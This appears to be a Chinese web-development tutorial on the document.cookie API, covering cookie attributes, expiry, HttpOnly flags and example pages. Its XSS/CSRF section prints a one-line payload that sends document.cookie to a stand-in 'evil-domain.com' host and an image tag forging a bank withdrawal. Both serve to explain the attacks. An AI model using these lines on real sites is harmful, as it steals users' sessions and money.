web API简介(二)：客户端储存之document.cookie API

概述

前篇：web API简介(一)：API，Ajax和Fetch

客户端储存从某一方面来说和动态网站差不多。动态网站是用服务端来储存数据，而客户端储存是用客户端来储存数据。document.cookie API就是实现客户端储存的最原始方法。

Cookie介绍

cookies主要用来做如下事情：1.用户登录，购物车等会话控制。2.用户的偏好设定记录。3.记录和跟踪用户的行为。

cookies有很多问题。比如它的发送需要利用http请求，所以会有性能损耗；每种浏览器也有cookie条数限制，达到限制就会自动删除一些cookie；cookie还有很严重的安全问题。

cookies只有一个优点，就是它和老式的浏览器很兼容。0.0

Set Cookie

Set-Cookie: <cookie-name>=<cookie-value>

语法

//newCookie = "key=value"
document.cookie = newCookie;

还可以在后面添加这些信息：

(1)";path=path"

(2)";domain=domain"

(3)";max-age=max-age-in-seconds"

(4)";expires=date-in-GMTString-format"

Cookie的时效

如果没有写Expires或Max-Age，当浏览器关闭的时候Cookie会被删除。

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;

HttpOnly cookies

为了防止XSS(cross-site scripting)攻击，cookie可以加上Secure和HttpOnly，这样它就不能被Document.cookie API读取了。(这样就不能通过js获取用户的cookies)

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly

Xss和CSRF

XSS = cross-site scripting；CSRF = Cross-site request forgery。

下面是一个XSS盗取cookie的例子。执行代码会把用户的cookie发送给服务器。

(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;

下面是CSRF盗钱的例子(前提是用户在浏览器上面登录了账户并且他的cookie仍然有效)。当用户点击这个图片的时候，会被盗钱。

<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">

Zombie cookies

Zombie cookies = Evercookies。

这类cookies在被删除后会立刻重新建立，所以很难被删除。

相关方面的资料：Evercookie by Samy Kamkar和Zombie cookies on Wikipedia。

cookie操作实例

下面的代码拿到一个叫test2的cookie。

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Document</title>
    <script>
        document.cookie = "test1=Hello";
        document.cookie = "test2=World";

        var cookieValue = document.cookie.replace(/(?:(?:^|.*;\s*)test2\s*\=\s*([^;]*).*$)|^.*$/, "$1");

        function alertCookieValue() {
          var showCookie = document.getElementById("show_cookie");
          showCookie.innerText = cookieValue;
        };
    </script>
</head>
<body>
    <button onclick="alertCookieValue()">显示cookie</button>
    <div id="show_cookie"></div>
</body>
</html>

Document
<script>
document.cookie = "test1=Hello";
document.cookie = "test2=World";

    var cookieValue = document.cookie.replace(/(?:(?:^|.*;\s*)test2\s*\=\s*([^;]*).*$)|^.*$/, "$1");

    function alertCookieValue() {
      var showCookie = document.getElementById("show_cookie");
      showCookie.innerText = cookieValue;
    };
</script>

显示cookie

下面的代码使事情只做一次。

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Document</title>
    <script>
        function doOnce() {
          if (document.cookie.replace(/(?:(?:^|.*;\s*)doSomethingOnlyOnce\s*\=\s*([^;]*).*$)|^.*$/, "$1") !== "true") {
            document.getElementById("do_once").disabled = true;
            document.cookie = "doSomethingOnlyOnce=true; expires=Fri, 31 Dec 9999 23:59:59 GMT";
          }
        };
        function resetOnce() {
            document.getElementById("do_once").disabled = false;
            document.cookie = "doSomethingOnlyOnce=; expires=Thu, 01 Jan 1970 00:00:00 GMT";
        }
    </script>
</head>
<body>
    <button id="do_once" onclick="doOnce()">Only do something once</button>
    <button onclick="resetOnce()">Reset only once cookie</button>
</body>
</html>

Document
<script>
function doOnce() {
if (document.cookie.replace(/(?:(?:^|.*;\s*)doSomethingOnlyOnce\s*\=\s*([^;]*).*$)|^.*$/, "$1") !== "true") {
document.getElementById("do_once").disabled = true;
document.cookie = "doSomethingOnlyOnce=true; expires=Fri, 31 Dec 9999 23:59:59 GMT";
}
};
function resetOnce() {
document.getElementById("do_once").disabled = false;
document.cookie = "doSomethingOnlyOnce=; expires=Thu, 01 Jan 1970 00:00:00 GMT";
}
</script>

Only do something once
Reset only once cookie